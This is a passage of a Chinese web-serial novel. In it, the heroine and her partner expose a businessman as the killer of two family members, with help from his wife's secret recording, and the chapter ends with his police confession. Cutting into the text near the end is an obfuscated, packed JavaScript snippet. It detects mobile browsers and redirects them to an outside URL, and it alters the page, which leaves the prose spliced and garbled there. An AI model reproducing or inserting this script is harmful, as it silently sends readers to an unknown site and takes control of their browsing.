夜色浓如墨,弦月侧悬在半空,清晖四散,透过玻璃,半虚半实的落在车前窗。 “你背还疼吗?”傅珺瑶侧过头去,他修长的脖颈和清晰的下颌线撞进眼底。 沈述白单手握稳方向盘,目光直视前方,空出来的手自然而然的扣紧她的掌心。 脖颈正中的喉结上下滚动几下,她再熟悉不过的声音从唇边温柔泄出,揉进朦胧的月光,刮得耳膜隐隐泛痒。 “不疼,幸好这一次,没让你受伤。” 傅珺瑶凝着嵌入她指缝的手,另一只手抬起,扣在他的手背,指腹来来回回地磨他。 “你就是永远都这样。”她的声音压低,暗含一丝颤意。 漆黑的眸盯着男人的侧脸,他的右耳空荡荡的,没了平时的那种闷骚劲,反而多了几分沉稳。 傅珺瑶紧紧凝着那,脑海中陡然浮现出那个时候她不能下床,他坐在床沿掉眼泪的画面。 眸光闪动,一股经历过大事之后的、终于要尘埃落定的安全感涌进心口,带动复杂的情绪盘绕。 傅珺瑶鼻尖猛然一酸,渐渐的,眼底漫出些水光。 今天所有的一切,都是他们早就设好的局。 当初接近楚茜,也是她精心设计好的。 聂秘书给的启行、苏氏和林氏的背调信息里,她很快发现楚茜和沈千仪长相神似,回想起失忆前她和沈述白的那些猜测,所以又让聂秘书去查了查楚茜。 后来知道,楚茜以前和她母亲是大学同学,早些年在学校名声很大,和苏津南也是在那个时候认识的。 不过当时两人之间还没什么火花,苏津南倒是常常和沈千仪、傅臣东混迹在一块。是沈千仪去世之后,苏津南才开始追求楚茜,两人很快结婚。 最开始,苏津南常常带楚茜出来社交,公开场合也总是表现得和她恩爱非常,所以圈内苏津南也变成了出了名的爱妻如命。 只是后来,楚茜便突然不随着苏津南出席公共场合,苏津南对外解释说是楚茜身体不太好,不想让她再劳心劳力,想让她在家专心休养。 傅珺瑶最初只是想试探试探,却偏偏歪打正着,发现楚茜和苏津南并非像传言中那样恩爱非常,楚茜经常一个人吃饭、一个人出门,甚至连一套房子的首付都没办法先借给她弟弟。 以及那天在铭逸,她不过稍加释放善意,她便轻易上钩,说出根本不曾报道过的她坠海以及失忆的事。 也是从那个时候开始,她知道自己赌对了。 楚茜既然知道她坠海和失忆的事,就代表苏津南并没有避着她说这些事。 起初她也怀疑过,楚茜是苏津南的帮凶。 可在后来她制造的那几次偶遇中,楚茜一次次地强调让她注意安全、忍不住的关心她,再加上她的那些言语和行为,她冒出几分猜想:苏津南喜欢沈千仪,可沈千仪跟傅臣东结了婚,苏津南试图破坏两人的感情,可最后却让两人死了,楚茜成了沈千仪的替身,逐渐被苏津南压抑。 就像当初,爷爷把她当成傅淮湛的替补一样。 或许,楚茜也和她一样,被压抑、被规训。 可楚茜是李茗蕤口中的才女,是当年哲学系的风云人物,也是这个圈子里曾出众过的女人。 这样的女人,她甘愿当别人的替身吗? 如果有翻身的机会,她真的会愿意被压抑吗? 傅珺瑶认为,不会。 没多久,沈述白通过宋衿艺游走在灰色地带的人脉得知,苏津南一直养着个情妇,就在郊外的庄园。 苏津南不常回家,大部分时间是跟樊茵待在一起。 傅珺瑶便更笃定,如果给楚茜一丝翻身的可能,她绝对会反抗。 一个经济权和自我被压抑甚至剥夺的女人,接近她最轻松的方式,就是‘看见’她。 傅珺瑶深谙这一点,从简单的言语到切实的帮助,再到那两本哲学书。 早上收到楚茜消息的那一刻,她就知道,她要赢了。 她让顾清漪去了楚茜定的地点,楚茜果然拿出最关键的证据,交代了所有。 那份录音是她在和苏津南结婚后的第三年,有一次苏津南喝多了,回来抱着她就往床上去,开始磨她,她本来也陷在和他的缠绵里,他却突然叫了沈千仪的名字。 楚茜在猛地睁开眼,却忘了推开他。 他抱着她,边亲边说: “千仪…千仪你知道我多想你吗?千仪…你当初就不该跟傅臣东在一起,他就是看中你们沈家的价值才会跟你结婚!他根本就不爱你!只有我,我才爱你!” 楚茜一双秀眉紧拧,眸底骤然迸出惊愕,光点汇聚,她满脸复杂地凝着男人。 沈千仪? 他在说什么?! 僵愣大概十秒钟,楚茜很快开了录音,想要把他这些话录下来,打算等他酒醒之后找他对峙,结果后面,从苏津南嘴里说出来的话却让楚茜大惊失色。 “你说你当初为什么那么想不开去跟傅臣东在一起?我都跟你说他出轨了,你居然还相信他!没办法,我只能偷走你的指纹,只能毁掉你的系统,这都是你逼我的!” 楚茜瞬然瞪大眸子。 所以启行的安防系统出问题是他干的?! 那沈千仪和傅臣东…… 苏津南又继续道:“你们两个人根本就不应该在一起!你们两个,一个是我深爱的女人,一个是我信任的兄弟,可你们都背叛了我!当初傅臣东明明说过,有钱会带着兄弟一起赚,结果呢!苏氏到底哪里比不上你们启行?!你一个女人,好好在家里相夫教子就好了,你根本不适合管理启行!你管的启行根本不如苏氏!” 楚茜的气息霎时僵凝。 她瞪着男人,一股陌生感瞬时往上爬,随之而来的,还有隐隐嫌恶。 什么叫“你一个女人”? 他怎么会这么说话? “不过没关系,你现在是我的了,启行跟恒璟也不会合作了,只要你好好跟着我,好好伺候我,我会爱你,会每个月给你钱,会好好养着你,我就想让你好好做我的苏太太,成为我这一生的妻子。” 他的吻再次压上来,楚茜下意识避开,心口盘绕的嫌恶更重,甚至觉得有些恶心。 苏太太…… 她忽然惊觉,苏津南似乎一直都是这么称呼她的。 “苏太太,煮碗粥给我吃。” “苏太太,你真漂亮。” “苏太太,你真可爱。” “苏太太,我会养你一辈子。” …… …… 她因为喜欢他很多年,所以和他结婚之后,每每听到他这么称呼自己时,时常沾沾自喜,觉得这是他对她爱的表现。 脑海中不知怎的,钻进她再熟悉不过的一句话: 她除了是丈夫的“一半”,一无所是。 那是她读书时期,最喜欢的一本哲学书中提到的。 《第二性》 一股冷意从下肢爬上来,沁入血液,楚茜突然觉得背脊发凉。 不…… “你躲什么?”她的思绪还没来得及往下延伸,苏津南微怒的声音率先钻进了耳朵。 楚茜下意识一颤,双眸惊恐地看过去,迎面被他掐住下巴。 “沈千仪,傅臣东都死了!就算你护着他,他还是死了!就在我杀了你之后的两分钟。” 楚茜浑身狠狠一僵。 他杀的?! 沈千仪是他杀的?! 傅臣东也是他杀的?! 他们不是在公寓互杀身亡?! 怎么会跟苏津南扯上关系?! 眼前的人嘴边突然扯出抹冷笑,掐紧她下巴的力度更重。 他的脸上哪里还有一点温柔可言? 楚茜本能地挣扎两下,声音稍稍发颤:“苏津南…你放开我,你先放开我……” “放开?千仪,你说你为什么要替傅臣东挡刀?我是只打算杀他的,你就那么想要跟他们傅家扯上关系吗?!” 他声音里的怒气愈发浓烈,完全藏不住。 不过半刻,他眸中的肃冷又转而直下,唇角扬起,突然咯咯笑起来,笑得楚茜脊骨发栗:“不过好在啊,他还是舍不得你这个联姻妻子,想送你去医院,这么好的机会,我怎么可能放过他呢?虽然折损了一个你,但是没关系啊,以后,我苏氏就能在淮北慢慢崛起了!” 楚茜的五官几乎快挤在一起,胳膊蓄力,往外推他,声音颤得更厉害:“你放开我…放开我苏津南!” “放开你?你好不容易回来,我怎么会放开你?你知不知道我有多想你?我一次都没得到过你,千仪……千仪,今晚我一定要得到你!” 说罢,不等楚茜反应,苏津南的吻便落了下来。 “不要…不要!”楚茜慌乱地反抗,胳膊不停推他。 可苏津南几乎全身的力量都压在她身上,她完全推不开他。 “你放开我……放开啊!!” 楚茜被他渡进来的酒气弄得反胃,情绪又像缠绕的丝线一般乱作一团。 恐惧和害怕从脚底上返,楚茜不想和他做。 意识和肢体拼了命的反抗。 “放开我!!” 她手脚并用,紧咬着牙,猛地蓄力,一把推开身上的男人。 “砰”的一声闷响,伴随着声沉哼落下,身侧的人没了动静—— 苏津南的头撞到了床头柜,晕睡过去。 楚茜快速坐起身,胸口被单薄的衣衫覆盖,迅速上下起伏着。 她大口大口喘着气,眼角残留着溢出的生理性泪水,双眸惊恐又后怕地盯着男人。 沈千仪…傅臣东…… 都是他杀的?! 手掌按在胸口,耳边仿佛一切都了无声息,喉嗓哽住,完全失声。 楚茜僵持着一个姿势,愣了大概有几分钟。 脖颈才缓慢转向,目光定在还在录音的手机上。 她紧张地咽了咽口水,双腿隐隐发麻。短暂的停滞后,她一把抄起手机,火速下床,跑进了书房里。 当时她把自己关在书房,那份录音至少循环了几十遍,思绪乱作一团,她根本不知道要怎么办。 怕手机出问题,她先把录音拷进了u盘。可等做完一切,她又蹲在角落,不知道下一步该怎么办。 报警? 报警…… 昏黑的书房里,楚茜抬头,环视周遭的一切。 那他……是不是就要去坐牢了? 那她怎么办? 不、不对。 她不应该这么思考。 她是被苏津南当成沈千仪的替身的啊。 苏津南杀了人! 他杀了沈千仪和傅臣东! 他犯罪了! 她的丈夫是个罪犯!是个潜逃的罪犯! 那傅沈两家的仇恨就是乌龙啊…… 根本不是沈千仪和傅臣东的问题啊…… 楚茜抱紧双臂,身子渐渐开始发抖,眼角往外溢着湿润。 怎么会是他?! 为什么会是他?! 自从他追求她以来, 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事情怎么会发展成这个样子? “茜茜,你…你能不能先借我们钱给你爸交钱治病?你也知道我们这么多年也没什么钱,你弟弟又还在上学……谁想到会突然这个样子啊……”继母拉着她的手腕,满脸泪水,声音哽咽。 “钱的事我来就好,您放心。”楚茜还没开口,一道温润的男声陡然闯进来。 楚茜猛然一激灵。 转头的那一瞬,双眸不偏不倚对上苏津南。 男人脸上的醉意全消,又恢复了往日里谦逊温和的模样,一身革履西装,只有头发稍稍凌乱,像是急忙赶过来的。 “津南……”继母像是抓住救命稻草般望过去。 男人朝她笑笑,视线又重新落回楚茜身上。 只对视两秒,楚茜便移开眸,背后一阵恶寒升起。 不知道为什么,她总觉得那双看似温润的眸子里,已经多了几分她从未见识过的狠戾,只要她一个不小心,或许她也会在一场意外里死去。 从治疗到药物的钱,苏津南都包圆了,甚至请了最权威的专家过来,总算保住了楚茜父亲的一条命。但也是因为这次病,楚茜家里的负担也开始变重。 本就是家庭主妇的继母,生病没办法好好工作的父亲,还在上学的弟弟。 她本打算把存款给继母,但苏津南却又先了她一步,说以后继母他们的经济方面由他来补贴。 “我不管你听到了什么,你从现在起要做到的,就是忘掉我说过的那些话,做好苏太太,好好待在家里,我会养你、养你父亲他们,不要妄想着去别人那里说点什么,我们才是拴在一根绳上的蚂蚱,懂吗?” 楚茜永远都忘不了那天,苏津南说出这些话时,眸中透出的恶狠,变得完全不像当初她认识的样子,仿佛只要她拒绝,下一个死的就是她。 自那以后,楚茜便被困在经济和精神的双重压力下,成了恶魔的帮凶,成了完完全全的苏太太,害怕逐渐转为麻木。至于她所谓的爱情,那也不过是一段肮脏恶心的幻想。 和顾清漪谈到最后,楚茜的肩脊依然忍不住地发颤。 “楚阿姨……”顾清漪递了张纸给她。 “我知道…我知道我应该早些把这份录音拿出来,可我父亲当时需要钱治病,我也害怕他把我也杀了,我真的没办法……” “我…我听到他跟人打电话,说要除掉珺珺,说要让傅淮湛去坐恒璟总经理的位置。我都偷偷录了音,就是想…万一、万一有用……他还有个情妇,好像是认识很多地下的人,当初珺珺在洱南出事,也是他干的,我也是后来才听到他说珺珺坠了海,说珺珺和沈二肯定都活不下来了。” “可没想到后来珺珺和沈二又回来了,不过他们俩都失了忆。” 楚茜吸了吸鼻子,眼眶微红,隐隐后怕:“幸好、幸好珺珺和沈二都没事,我真的不想再提心吊胆,珺珺她那么真心对我,她明明什么都没做错,她不应该被苏津南害死……” 楚茜猛地摇头,情绪稍稍失控。 “楚阿姨。”顾清漪握住她的手腕,声音轻柔,暂且先稳住她的情绪。 “既然您愿意过来和我说这些,就代表您并不想继续错下去,您放心,珺珺那边不会出事,从现在开始,您只需要跟着我,这份证据您也先留好,等一会,您和珺珺,再一起亲手送到警局去。” 楚茜猛然一怔。 - 下午的车祸,傅珺瑶被那辆大众追了尾,离目的地不算远,她本想赶紧停车,先下车保命。 但后车的人似乎是料到她要做什么,快速转了方向,半刻都不带犹豫,油门重重地踩下去,直接从侧边撞了过来。 千钧一发之际,是沈述白赶过来,在大众撞上来之前,及时把傅珺瑶从主驾驶座拉了出来。 两人没站稳,朝后倒了下去。 不过幸好,沈述白及时垫在傅珺瑶身下,加上他们完全在车后边,只有耳边撞过来刺耳的震响,还有落在身上的一点玻璃碎渣。 宋衿艺和沈行之及时带着人赶过来,把车里的人解决了,这才没出事。 在那之后,他们兵分三路,傅珺瑶和楚茜带着录音去报警,沈述白和宋衿艺去了庄园堵樊茵,沈行之和顾清漪、傅淮湛回去拖长辈。 “珺珺,我之前就已经说过了,这是我作为一个合格的情人,应该做的。” 车子在熟悉的小径停下,树荫遮挡了大半月色,昏黑的车厢内,两道视线无声纠缠。 傅珺瑶垂下眼眸,盯着被她握紧的手,稍微使力,带动他的手臂上抬,嘴唇落在他的手背,轻轻吻了一下。 唇离开他之后,她什么话都没说,只用另一只手覆盖上去,把他的手捂紧。 她其实…都明白。 明白他的心思,也知道他的温柔。 只是她现在需要和他说会话,来消解心底的其他情绪。 可话真到了嘴边,她又说不出来了。 车厢里沉默了会。 看不见的侧前方,沈述白的视线一直停在她身上。 “珺珺。” 他温柔的嗓音缓慢灌进耳际,打破了逐渐凝滞的气氛。 傅珺瑶抬眸,迎面撞入那片熟悉的琥珀海。 “其实我和你一样,会去怪楚阿姨,怪她为什么不早点拿出证据,为什么不早点拆穿苏津南,那样或许很多事情在早些年就能被解决,很多事情也不会发展到现在。” 傅珺瑶眼瞳紧缩,心脏猛地一抽,闷头撞向胸壁。 “可如果不是她,我们或许也没办法判断苏津南是造成咱们两家这么多年恩怨的人,傅董事长、我奶奶、我爷爷或许也不会那么快相信我们的恩怨是误会。” 傅珺瑶静静听着,始终沉默。 “我们并不是要去原谅她什么,也不是要去怪罪她什么,她和苏津南还有樊茵,都该交给法律去审判,我们只是做好了我们应该做的事,解决了我们该解决好的问题,这就够了。” 傅珺瑶握住他手的力道更重。 双眸一瞬不瞬地凝着他,眼底短暂漫出阵热意。 “况且今天,咱们也有了不少的收获。”他轻轻勾唇,嗓间溢出声浅笑,继续道:“傅爷爷那边…你已经能确定,他不舍得失去你,也真的心疼你,这是你和他谈判的最重要的筹码,也是胜算。还有咱们的家人,他们是能够和谐相处的,傅爷爷和我奶奶还说要找时间谈谈。甚至于还有楚阿姨,她至少能离开苏津南,抛弃过去种种,开始新的生活。” “这些,于我们而言,就够了。” 说到最后时,他的语气笃定又温柔,也似乎是为了能让她开心些,他刻意晃了晃手腕,唇角的弧度更深。 傅珺瑶眼底的热意渐重。 那些闷堵在心底的情绪仿佛被裹在这些话里,随着他的声音落下、消散。 她需要的、渴求的,不就是这样的时刻? 她需要的、渴望的,不就是这样一个人? 傅珺瑶松开他的手,扬开双臂,倾身上前,环住他的脖颈,紧紧抱着他。 下巴抵在他肩口,头稍稍下俯,呼吸隔着衣衫,慢慢揉进他的颈窝。 傅珺瑶的声音半掩在他的颈侧,朦胧又缱绻:“抱抱。” 很快,耳边一声轻哼不轻不重地撞进来,背脊被温热坚实的手掌托稳。 他温声道:“好,抱抱。” 76. 21 体温透过单薄的衣衫传出,轻柔地沁进皮肤。 傅珺瑶终于感受到了那股久违的、最让她觉得自由心安的安全感。 背脊的手掌缓慢上下拂动,每一次热意透过衣衫,都会牵动脊柱附近的神经丛反应,酥酥麻麻的轻痒顺着神经四散,浑身的肌肉都跟着收缩,傅珺瑶忍不住收紧抱着他的胳膊。 他的气息喷洒在脖颈,傅珺瑶颤了一下,嘴唇落在他的侧颈,鼻尖紧紧贴在那块相对薄弱的皮肤,隐隐能感觉到他强烈搏动的颈动脉,她猛吸了口气,慢慢把交换过后的气体吐出来。 男人突然开口:“先送你回去?明天去找你。” 傅珺瑶臂弯的力道松了松。 “好。” 家里人还在等着他们。 - 傅宅。 傅珺瑶是看着沈述白离开之后才进屋。 如她所料的,爷爷和母亲、父亲,还有傅淮湛,都在客厅。 “没让沈二进来坐坐?”老爷子这会已经换下中山装,穿着身深灰色的家居服,鼻梁上还架着老花镜。 他往傅珺瑶这个方向瞥了眼,略微嘶哑的嗓音仍然带着往日的肃冷。 傅珺瑶换了鞋,接过吴阿姨递来的热茶,平声道:“他说改日再来郑重拜访您。” 老爷子浅哼了声,没说话。 “珺珺,你确定你真的没什么事吧?不然我还是叫林医生过来给你瞧瞧?”傅臣北最先问。 傅珺瑶被他拉着坐下,摇头,视线却扫向老爷子,轻声说:“没事,就是身上一点点擦伤而已,可惜的是那辆车……那还是爷爷送我的第一辆车……” 她的语气慢慢沉下来,闷闷的,目光从老爷子身上移开,低头抿了口热茶。 傅臣北暂时没说话,和身旁的李茗蕤相视一眼,同时看向老爷子。 傅淮湛在一边低着头,谨慎地瞟了眼爷爷。 “好了,一辆车而已,人没事就好,那辆车也有好些年头了,你不是也很久没买车了?自己去挑辆,我给你买单。” 老爷子语气稍微扬起,下沉的压抑消散了些。 傅珺瑶的嘴角几不可察地弯了弯,玻璃杯的雾气漫进眸底,她又抿了一口,最后把茶杯放下。 眸珠一阵短暂的凉意停留,裹着那里原有的倦意,不见踪影。 她直勾勾地凝着爷爷,微沉的声音里带了几分试探的意味。 “爷爷,我不需要买车,如果可以,能不能把买车换成别的东西兑现?” 老爷子不紧不慢地摘下老花镜,灰色的眼仁在她身上绕了圈。 “什么?首饰还是黄金?你直接说。”老爷子以为她是要买其他的东西。 “都不是。”傅珺瑶缓慢掀眸,一双漆黑的眼眸中已经爬上厉色。 老爷子一愣。 眸光逐渐收凛,眼珠轻抖两下,嘴唇微动,半天没说出来话。 傅淮湛终于舍得抬头,薄唇却抿成条线,紧张地看向老爷子。 “我要您以后不再强制我去您那里汇报工作,除非我真的犯了错,否则您必须全权相信我的决策,也真的不再干涉我。” 傅珺瑶的语速不算快,声音也不大,每一个字都裹着她工作状态下习惯性带有的强势,却又隐隐透着柔和,足够有震慑力,却又不至于让人害怕。 客厅陡然陷入一片静默。 李茗蕤和傅臣北暂时观察着老爷子的神色,没出声。 傅珺瑶没躲开那双已经沉下来的灰眸,迎面直上。 两道视线无声对峙。 老爷子撇了撇嘴,眼眸半眯,脸上的皱纹跟着慢慢堆叠在一起,明显不悦。 颈中快凹进去的喉结动了动,他似乎想说什么,可等了半天,那话也没说出口,只有轻搭在腿上的两只手慢慢紧了紧。 “爷爷。”傅珺瑶把嗓音里的气势压了下去,眸中的强势也跟着退散,亲和地唤了老爷子一声。 又继续道:“我听哥哥说了,您为了我主动去沈家,您在乎我,我也明白,可这背后的一切,都源于您相信我,相信我不会让您失望,既然您本意是相信我的,我这一个小小的要求对您而言,根本算不上什么,我也相信您,愿意答应我这个很小的要求。” “……” 老爷子拱了拱鼻子,紧握的手松开,仍然没说话。 傅臣北适时出来搭腔:“就是啊爸,您看珺珺把恒璟管理得多好?珺珺这样优秀,您还担心什么呢?况且珺珺其实也是考虑您的身体,您本身就有心脏病,平时工作强度不适合太大,珺珺可是您最钟意的接班人,您完全不用担心的!” 老爷子轻扫儿子一眼,重新望向傅珺瑶。 傅珺瑶挺直腰板,不慌不忙地挤出抹浅笑,温温和和的,一点强迫的影子都没有。 傅淮湛在旁侧默默注视着她,心底暗语:她这一套他还真想学来,每次都是这样一副让人想拒绝又没办法拒绝的模样。看似把自己放在低位,但实际她是那个掌控者。 她从爷爷那里学到的东西,真的远不止经商那一套。 可她比爷爷还要会拿捏人心。 爷爷是显而易见的威严、是不怒自威的强势,她却是用一点点柔和去粉饰强势,手段圆滑又自信。 “事关恒璟,还算小要求?”老爷子平淡地哼了声。 “可我确实没让您失望,不是吗?爷爷,自从我进入恒璟,其实一次都没让您失望过,事实也证明,和苏氏解约并不会让您失望。并且我很有信心,能跟启行合作。”傅珺瑶不紧不慢地陈述着事实,语气却相当笃定。 “您是咱们家最成功的商人,我想站在您的角度,承诺我这个小要求,就是最划算的一笔买卖。我都能参透这其中的利弊,您又怎么会不明白呢?” “……” 老爷子望向她的眸子眯得更紧。 “油嘴滑舌这一套你倒是学精了。”几秒的沉默后,老爷子轻嗤道,脸上却没有半分不满。 傅珺瑶嘴唇扬起的弧度更深,语气更亲和:“我一直记得您说的,不管用了什么办法,只要能达到最终的目的,就是好办法。” 她稍微停了停,声音里裹了几分认真:“因为大伯就是这样成功的,而我,也能用这种方式成功。” 老爷子眼眸一缩。 望着眼前的女人沉默。 视线在她脸上的每一处都认真看过。 他蓦然起身,喉间溢出声沉哼,语气冷冷道:“行了,今天累了一天了,你也赶紧去洗个澡好好休息,不愿意去我那汇报,就把工作做得再漂亮点,堵住董事会那些老油条的嘴!” 傅珺瑶的笑意从眼底漫出来,眸光短暂和李茗蕤、傅臣北交汇,轻快道:“爷爷,您放心,您只需要相信我,我不会让您失望。” “该买的东西还是去买买,我也很长时间没给你买礼物了,有什 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李茗蕤也睨过儿子一眼,很快明白这是傅珺瑶的意思:“你也就是多亏有珺珺这个妹妹,就你这种喜欢逃避的性子,珺珺肯让你回去你就该谢天谢地了。” “……” 傅淮湛尴尬地挠了挠耳侧,一句话说不出。 “好了妈,您也别说他了,他都答应把他的股份给我点,就当这几年对我的补偿了。”傅珺瑶眉眼弯弯,一脸无害地瞟向他。 “……” 傅淮湛气息骤凝,不过瞬间便散下去。 算了,他确实该补偿她。 “是该给,明天我去找你爷爷说一声,让人赶紧拟合同。”傅臣北最先赞成。 傅珺瑶笑眯眯地瞥着他。 傅淮湛沉默两秒,提了口气,嗓间滚出声低笑。 几步上前,语气还算平和:“好了,你说怎样就怎样,可以了吧?” 傅珺瑶心满意足,嘴边的笑还没压下来,尾音上扬:“可以,都当着爸妈的面说好了,你可得说到做到。” 傅淮湛看着女人眉眼间淡去的厉色,逐渐攀升起来那种熟悉的俏皮和淡淡的幽默,脑海中回忆起了很多往事。 记忆里,那个和他血脉相连的、活泼有趣的女孩总是喜欢在他的房间里窝着,喜欢跟他拌嘴、斗智,喜欢戏耍他,最后又抱着他,亲昵地叫他哥哥。 是啊,她本该,活得更轻松些、更快乐些。 是他……没有做到尽职尽责。 突然想起那天她说的话: 如果你总是想这想那,那你就什么都做不好。 傅淮湛的眸子在她眉眼间短暂停留,手伸过去,给她抓稳,另一只手又搂着李茗蕤,语气笃定:“好,我说到做到。” 傅珺瑶凝着抓在手心的手,再次抬眼,看向熟悉的男人。 嘴角弯深。 至少傅淮湛,没她想象的那么差。 - 与此同时的沈宅,沈述白也留在客厅,周旋在几个长辈之间。 这会没了旁人,沈女士毫不留情地拆穿了他们:“你们几个倒是挺会盘算,又是让傅老爷子过来,又是联结楚茜又是车祸,把我们全都引到庄园去,还找了衿艺帮忙,能耐不小嘛。” 77. 22 沈述白和沈行之相视了眼,沈述白主动上前,语气明显讨好:“奶奶,我就知道什么事都瞒不过您。” “你们这个局,倒是费了不少心思。”沈女士冷哧哧道:“冒这么大风险,也不怕真出点事。” 沈述白在沈女士跟前蹲下,轻轻抚上沈女士的胳膊,一双褐眸浸在暖光下,冒出柔和如琥珀般的光泽,他弯唇:“奶奶,您不是说过吗?成功和风险是并存的,风险越大,胜算越高。况且珺珺这一招想得挺好的,让我们赢了。” 话语一出,沈女士的眉眼立刻扫过来。 旁侧的安董也跟着看过来,苏俪嫀和沈毅安站在一边,别过眼去,甚至往后退了两步,不打算搅进来。 沈述白下意识抿了抿唇,却没打算改口。 迎着沈女士的目光,缓慢弯了弯眼。 沈女士眼眸微眯,垂眸剜了眼落在胳膊上的手,“我看你这张嘴是越来越滑溜了。” 沈述白面上的笑意更深,稍微贴近沈女士,乖乖附和:“都是您教的好,没有您对我的教导,我和我哥都没办法让苏津南进去。” 话语及此,沈女士的神色稍微凝起来些,略显沉重。 “不过也还是多亏了珺珺,当初是她先发现楚茜和姑姑眉眼相像,也是她提出主动失忆,也是恒璟的新项目和苏氏扯上关系,她就想出了这个局。” 沈女士哪里还听不明白他这话? “好了。”沈女士淡淡睨他眼,和身侧的安董短暂相视,说:“等周警官那边来了消息,等我们跟傅老爷子见过面,我就请傅家那姑娘来家里坐坐,满意了?” 话音刚落,沈述白的眼眸弯成两条缝,遮盖了里头大半的深褐,温润柔和的气质却半点未消。 “谢谢奶奶!” 沈女士轻嗤了声,短暂的不满之后,眸光又慢慢沉下来。 她主动搭上沈述白的手,盯着他看了好一会儿,略显苍老的指腹揉在他的脸侧,嗓音压低:“白白。” 沈述白背脊僵了僵。 沈女士的声音带了些哽咽。 沈述白轻应,笑意瞬间收敛。 “你跟我一起去偏厅,咱们去跟千仪说说话,把这个消息…告诉她。” 沈述白无声点头,起身,搀扶着沈女士去了偏厅。 再次面对这个熟悉的女人,沈述白自觉心绪复杂。 心疼、惋惜、酸涩,甚至还有淡淡的愧疚。 那张遗像就立在那里,好像变了,又好像一如当初。 沈述白侧头,拿手帕帮沈女士擦眼泪,心脏像是泡在密封起来的海水罐里,潮潮的,隐隐带着股咸涩的窒息感。 沈女士一瞬崩溃,眼泪宛若断了线的珠子,毫不停歇地从眼角掉出来。 她环住沈述白的腰,靠在他怀间,放声哭了出来。 沈述白温热的大掌稳稳托着沈女士,在她的背脊轻轻拍动。 安董在一边跟着安慰,声音也藏不住的哽咽。 沈述白喉间一哽,鼻腔冲起阵酸意。 脖颈再次转动,对上那双褐眸。 眼底没忍住,往外沁出水雾,喉结艰难地滚了滚。 虽然真相来得实在太晚,虽然他们承受过太多莫须有的痛苦,但好在,他们还是找到了真相,他们还是给了死去的人一个交代。 他们确实无法改变什么,但他们至少做到了自己能做的、该做的一切。 这就够了。 - 两天后。 周警官那边来了消息。 苏津南交代了所有的事,包括二十多年前他杀害沈千仪和傅臣东伪造成两人互杀、几个月前在洱南雇人绑了傅珺瑶和沈述白最后把他们扔进海里、以及这一次傅珺瑶的车祸事件。 二十多年前,他不满沈千仪和傅臣东联姻,找媒体恶意造谣傅臣东婚内出轨,又偷印了沈千仪的指纹,恶意制造两人之间的误会。 可沈千仪到底心软,主动去找了傅臣东,打算问清楚问明白,苏津南跟踪了沈千仪,事故就那么在公寓造成了。 傅沈两家的误会酿成后,苏津南也逐渐淡了和启行的接触,着重和恒璟打交道,打算利用恒璟当跳板。 原本借着他和傅臣东当年的兄弟关系,傅老爷子非常相信他。 傅淮湛也是听从傅老爷子的话,恒璟几乎所有的项目,苏氏都是作为首选。 直到傅珺瑶成了恒璟的总经理。 恒璟的项目风格不仅变了,甚至于苏氏也成了恒璟的备选。 他几次问过助理,助理那边都回应说傅珺瑶似乎没打算找苏氏合作。 更甚于,苏津南看到傅珺瑶去启行找沈述白的照片流出。 后面他又让樊茵找了几个靠谱的人偷偷跟踪两人,得知他们经常私下去私密性极高的会所,而且每回几乎都要换几次车,完全不想被人发现。 他以为两人在一起了。 他好不容易才把苏氏做到今天这一步,怎么可能再让他们俩有接触。 况且他们隔着世仇还能有交集,保不齐是怀疑到了什么。 索性一不做二不休,他绝对不能让这两个人毁了他! 得知两人去了洱南,他交代樊茵的就是让这两个人永远留在洱南,恰好不在淮北也好动手,可谁能想到他们俩居然没死。 不过一个多月,傅淮湛突然出差洱南,他得知消息赶紧找人去跟踪,结果没想到傅淮湛再回来的时候,傅珺瑶也跟着回来了。 没几天沈述白也被沈行之带回来了。 他找人打听之后才知道,是他们漂落到小荒村,还失了忆。 加上回了淮北,下手本来就得谨慎,苏津南暂且没动他们。 直到傅珺瑶再次取代傅淮湛的位置,并且再次提出跟他解约。 他不允许!他绝对不允许! 一个小丫头片子,一而再再而三地挑战他的底线,分明她没进恒璟之前,他苏氏都是一马平川,她进了恒璟之后,就开始堵他的路! 恒璟总经理的位置,就不该让她来坐! 傅家明明有儿子,却偏偏要让一个没有远见的女人来掌权,完全就是胡闹! 不管是傅珺瑶还是沈千仪,她们就不该挤进本该是他们男人的战场里! 傅老爷子既然一时糊涂让傅珺瑶上来,那他就帮帮傅老爷子! 一开始他本还在犹豫,要怎么办,结果就看到顾清漪的婚礼上,同时出现的那两个人。 之后那些无关痛痒的新闻根本没对他们造成什么实质性的威胁,加上樊茵的人给他送来了沈述白抱着傅珺瑶从潮汐Bar出来上车的那张照片,他便让樊茵把那些照片发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344113|193223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出去。 只要傅老爷子和安董知道他们俩在一起,傅老爷子那么记仇的一个人,绝对不会轻易放过傅珺瑶。 然而事情却又不如他所想。 傅珺瑶不仅没事,还说要签什么加固方案。 更甚于,她好像恢复了记忆。 那一刻他就知道,这个女人留不得! 他苏氏不过一次小小的错误,她便紧抓着不放,连傅老爷子都知道苏氏是他们最好的选择,她竟然敢几次三番地否定苏氏,甚至想跟沈二合作。 不!他不允许! 苏氏这么多年好不容易发展起来,他绝对不允许这两个没点分寸的后辈来毁了他的前路! 分明一切都计划好了,樊茵找的那两个人不怕死,他又把自己摘得干干净净,谁知道半路杀出个楚茜! 早知道不仅该监察她的消费记录,还应该监察她每天的行踪! 如果不是她那弟弟突然要买房子,她又怎么可能会跟傅珺瑶扯上关系! “他本来是拒不承认的,不过后来…周主任过来了一趟。反正现在他都交代了,樊茵也花了点时间才问出话来,楚茜那边倒是轻轻松松。”这是周警官的原话。 她口中的周主任,就是顾清漪的母亲。 傅珺瑶和顾清漪、沈述白等在接待室,几番对视。 “麻烦您了,周警官。”傅珺瑶开口。 “没事,楚茜那边,等她做完人证,我们会通知她家人来保释她。” - 几人出了警局。 